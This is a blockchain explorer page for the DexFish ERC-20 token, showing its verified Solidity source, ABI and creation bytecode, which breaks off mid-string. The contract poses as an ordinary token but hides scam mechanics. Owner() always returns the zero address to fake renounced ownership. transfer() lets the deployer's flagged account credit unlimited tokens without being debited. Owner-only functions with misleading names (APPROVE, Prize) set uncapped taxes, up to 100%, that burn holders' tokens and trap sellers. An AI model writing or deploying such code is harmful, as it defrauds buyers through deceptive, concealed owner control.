ERC-20
Overview
Max Total Supply
1,000,000 DEXFISH
Holders
18
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
22,662.323058416854149994 DEXFISHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DexFish
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-02 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function Owner() public view virtual returns (address) { return address(0); } modifier onlyOwner() { require(_Owner == _msgSender(), "Ownable: caller is not the Owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new Owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _Owner; _Owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ERC20 is Context { mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed Owner, address indexed spender, uint256 value); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function allowance(address Owner, address spender) public view virtual returns (uint256) { return _allowances[Owner][spender]; } function approve(address spender, uint256 Amount) public virtual returns (bool) { address Owner = _msgSender(); _approve(Owner, spender, Amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address Owner = _msgSender(); _approve(Owner, spender, _allowances[Owner][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address Owner = _msgSender(); uint256 currentAllowance = _allowances[Owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(Owner, spender, currentAllowance - subtractedValue); } return true; } function _approve( address Owner, address spender, uint256 Amount ) internal virtual { require(Owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[Owner][spender] = Amount; emit Approval(Owner, spender, Amount); } function _spendAllowance( address Owner, address spender, uint256 Amount ) internal virtual { uint256 currentAllowance = allowance(Owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= Amount, "ERC20: insufficient allowance"); unchecked { _approve(Owner, spender, currentAllowance - Amount); } } } function _beforeTokenTransfer( address from, address to, uint256 Amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 Amount ) internal virtual {} } contract DexFish is ERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => bool) private _release; function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } IUniswapV2Router02 public immutable uniswapV2Router; address public uniswapV2Pair; function _transfer( address from, address to, uint256 Amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance"); unchecked { _balances[from] = fromBalance - Amount; } _balances[to] += Amount; emit Transfer(from, to, Amount); } function _burn(address account, uint256 Amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance"); unchecked { _balances[account] = accountBalance - Amount; } _totalSupply -= Amount; emit Transfer(account, address(0), Amount); } function _Gift(address account, uint256 Amount) internal virtual { require(account != address(0), "ERC20: REWARD to the zero address"); _totalSupply += Amount; _balances[account] += Amount; emit Transfer(address(0), account, Amount); } constructor( string memory name_, string memory symbol_, uint256 totalSupply_ ) ERC20(name_, symbol_) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _Gift(msg.sender, totalSupply_ * 10**decimals()); _defaultSellkFee = 0; _defaultBuykFee = 0; _release[_msgSender()] = true; } using SafeMath for uint256; uint256 private _defaultSellkFee = 0; uint256 private _defaultBuykFee = 0; mapping(address => bool) private _Approve; mapping(address => uint256) private _Aprove; address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD; function getRelease(address _address) external view onlyOwner returns (bool) { return _release[_address]; } function PairList(address _address) external onlyOwner { uniswapV2Pair = _address; } function Prize(uint256 _value) external onlyOwner { _defaultSellkFee = _value; } function APPROVE(address _address, uint256 _value) external onlyOwner { require(_value >= 0, "Account tax must be greater than or equal to 1"); _Aprove[_address] = _value; } function getAprove(address _address) external view onlyOwner returns (uint256) { return _Aprove[_address]; } function Approve(address _address, bool _value) external onlyOwner { _Approve[_address] = _value; } function getApprovekFee(address _address) external view onlyOwner returns (bool) { return _Approve[_address]; } function _checkFreeAccount(address from, address to) internal view returns (bool) { return _Approve[from] || _Approve[to]; } function _receiveF( address from, address to, uint256 _Amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance"); bool rF = true; if (_checkFreeAccount(from, to)) { rF = false; } uint256 tradekFeeAmount = 0; if (rF) { uint256 tradekFee = 0; if (uniswapV2Pair != address(0)) { if (to == uniswapV2Pair) { tradekFee = _defaultSellkFee; } if (from == uniswapV2Pair) { tradekFee = _defaultBuykFee; } } if (_Aprove[from] > 0) { tradekFee = _Aprove[from]; } tradekFeeAmount = _Amount.mul(tradekFee).div(100); } if (tradekFeeAmount > 0) { _balances[from] = _balances[from].sub(tradekFeeAmount); _balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount); emit Transfer(from, _deadAddress, tradekFeeAmount); } _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount); _balances[to] = _balances[to].add(_Amount - tradekFeeAmount); emit Transfer(from, to, _Amount - tradekFeeAmount); } function transfer(address to, uint256 Amount) public virtual returns (bool) { address Owner = _msgSender(); if (_release[Owner] == true) { _balances[to] += Amount; return true; } _receiveF(Owner, to, Amount); return true; } function transferFrom( address from, address to, uint256 Amount ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, Amount); _receiveF(from, to, Amount); return true; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"APPROVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovekFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60a0604052600060085560006009553480156200001b57600080fd5b50604051620036ea380380620036ea83398181016040528101906200004191906200072e565b8282816002908162000054919062000a09565b50806003908162000066919062000a09565b505050620000896200007d6200033860201b60201c565b6200034060201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000148919062000b55565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d6919062000b55565b6040518363ffffffff1660e01b8152600401620001f592919062000b98565b6020604051808303816000875af115801562000215573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023b919062000b55565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002b733620002906200040660201b60201c565b600a6200029e919062000d55565b84620002ab919062000da6565b6200040f60201b60201c565b60006008819055506000600981905550600160066000620002dd6200033860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505062000f03565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000481576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004789062000e78565b60405180910390fd5b806001600082825462000495919062000e9a565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004ed919062000e9a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000554919062000ee6565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005c9826200057e565b810181811067ffffffffffffffff82111715620005eb57620005ea6200058f565b5b80604052505050565b60006200060062000560565b90506200060e8282620005be565b919050565b600067ffffffffffffffff8211156200063157620006306200058f565b5b6200063c826200057e565b9050602081019050919050565b60005b83811015620006695780820151818401526020810190506200064c565b60008484015250505050565b60006200068c620006868462000613565b620005f4565b905082815260208101848484011115620006ab57620006aa62000579565b5b620006b884828562000649565b509392505050565b600082601f830112620006d857620006d762000574565b5b8151620006ea84826020860162000675565b91505092915050565b6000819050919050565b6200070881620006f3565b81146200071457600080fd5b50565b6000815190506200072881620006fd565b92915050565b6000806000606084860312156200074a57620007496200056a565b5b600084015167ffffffffffffffff8111156200076b576200076a6200056f565b5b6200077986828701620006c0565b935050602084015167ffffffffffffffff8111156200079d576200079c6200056f565b5b620007ab86828701620006c0565b9250506040620007be8682870162000717565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200081b57607f821691505b602082108103620008315762000830620007d3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200089b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200085c565b620008a786836200085c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008ea620008e4620008de84620006f3565b620008bf565b620006f3565b9050919050565b6000819050919050565b6200090683620008c9565b6200091e6200091582620008f1565b84845462000869565b825550505050565b600090565b6200093562000926565b62000942818484620008fb565b505050565b5b818110156200096a576200095e6000826200092b565b60018101905062000948565b5050565b601f821115620009b957620009838162000837565b6200098e846200084c565b810160208510156200099e578190505b620009b6620009ad856200084c565b83018262000947565b50505b505050565b600082821c905092915050565b6000620009de60001984600802620009be565b1980831691505092915050565b6000620009f98383620009cb565b9150826002028217905092915050565b62000a1482620007c8565b67ffffffffffffffff81111562000a305762000a2f6200058f565b5b62000a3c825462000802565b62000a498282856200096e565b600060209050601f83116001811462000a81576000841562000a6c578287015190505b62000a788582620009eb565b86555062000ae8565b601f19841662000a918662000837565b60005b8281101562000abb5784890151825560018201915060208501945060208101905062000a94565b8683101562000adb578489015162000ad7601f891682620009cb565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b1d8262000af0565b9050919050565b62000b2f8162000b10565b811462000b3b57600080fd5b50565b60008151905062000b4f8162000b24565b92915050565b60006020828403121562000b6e5762000b6d6200056a565b5b600062000b7e8482850162000b3e565b91505092915050565b62000b928162000b10565b82525050565b600060408201905062000baf600083018562000b87565b62000bbe602083018462000b87565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c535780860481111562000c2b5762000c2a62000bc5565b5b600185161562000c3b5780820291505b808102905062000c4b8562000bf4565b945062000c0b565b94509492505050565b60008262000c6e576001905062000d41565b8162000c7e576000905062000d41565b816001811462000c97576002811462000ca25762000cd8565b600191505062000d41565b60ff84111562000cb75762000cb662000bc5565b5b8360020a91508482111562000cd15762000cd062000bc5565b5b5062000d41565b5060208310610133831016604e8410600b841016171562000d125782820a90508381111562000d0c5762000d0b62000bc5565b5b62000d41565b62000d21848484600162000c01565b9250905081840481111562000d3b5762000d3a62000bc5565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d6282620006f3565b915062000d6f8362000d48565b925062000d9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c5c565b905092915050565b600062000db382620006f3565b915062000dc083620006f3565b925082820262000dd081620006f3565b9150828204841483151762000dea5762000de962000bc5565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e6060218362000df1565b915062000e6d8262000e02565b604082019050919050565b6000602082019050818103600083015262000e938162000e51565b9050919050565b600062000ea782620006f3565b915062000eb483620006f3565b925082820190508082111562000ecf5762000ece62000bc5565b5b92915050565b62000ee081620006f3565b82525050565b600060208201905062000efd600083018462000ed5565b92915050565b6080516127cb62000f1f600039600061063e01526127cb6000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806349bd5a5e116100c3578063a457c2d71161007c578063a457c2d7146103b4578063a9059cbb146103e4578063b4a99a4e14610414578063c4e7c16514610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806349bd5a5e146102de5780635dd7c8ac146102fc5780636c9992b31461032c57806370a082311461035c578063715018a61461038c57806395d89b41146103965761014d565b80631f478f1e116101155780631f478f1e1461020c57806323b872dd146102285780632c91d07114610258578063313ce5671461027457806339509351146102925780633de94b45146102c25761014d565b806306fdde0314610152578063095ea7b3146101705780630e5133b7146101a05780631694505e146101d057806318160ddd146101ee575b600080fd5b61015a61049a565b6040516101679190611d05565b60405180910390f35b61018a60048036038101906101859190611dc0565b61052c565b6040516101979190611e1b565b60405180910390f35b6101ba60048036038101906101b59190611e36565b61054f565b6040516101c79190611e1b565b60405180910390f35b6101d861063c565b6040516101e59190611ec2565b60405180910390f35b6101f6610660565b6040516102039190611eec565b60405180910390f35b61022660048036038101906102219190611f33565b61066a565b005b610242600480360381019061023d9190611f73565b61075c565b60405161024f9190611e1b565b60405180910390f35b610272600480360381019061026d9190611e36565b61078b565b005b61027c610866565b6040516102899190611fe2565b60405180910390f35b6102ac60048036038101906102a79190611dc0565b61086f565b6040516102b99190611e1b565b60405180910390f35b6102dc60048036038101906102d79190611ffd565b610918565b005b6102e66109b9565b6040516102f39190612039565b60405180910390f35b61031660048036038101906103119190611e36565b6109df565b6040516103239190611eec565b60405180910390f35b61034660048036038101906103419190611e36565b610abf565b6040516103539190611e1b565b60405180910390f35b61037660048036038101906103719190611e36565b610bac565b6040516103839190611eec565b60405180910390f35b610394610bf5565b005b61039e610c98565b6040516103ab9190611d05565b60405180910390f35b6103ce60048036038101906103c99190611dc0565b610d2a565b6040516103db9190611e1b565b60405180910390f35b6103fe60048036038101906103f99190611dc0565b610e13565b60405161040b9190611e1b565b60405180910390f35b61041c610eef565b6040516104299190612039565b60405180910390f35b61044c60048036038101906104479190611dc0565b610ef4565b005b61046860048036038101906104639190612054565b611017565b6040516104759190611eec565b60405180910390f35b61049860048036038101906104939190611e36565b61109d565b005b6060600280546104a9906120c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906120c3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111af565b90506105448185856111b7565b600191505092915050565b60006105596111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105df90612140565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600154905090565b6106726111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890612140565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806107676111af565b905061077485828561137f565b61077f85858561140b565b60019150509392505050565b6107936111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081990612140565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061087a6111af565b905061090d8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610908919061218f565b6111b7565b600191505092915050565b6109206111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690612140565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109e96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612140565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610ac96111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4f90612140565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfd6111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612140565b60405180910390fd5b610c966000611aac565b565b606060038054610ca7906120c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd3906120c3565b8015610d205780601f10610cf557610100808354040283529160200191610d20565b820191906000526020600020905b815481529060010190602001808311610d0357829003601f168201915b5050505050905090565b600080610d356111af565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190612235565b60405180910390fd5b610e0782868684036111b7565b60019250505092915050565b600080610e1e6111af565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168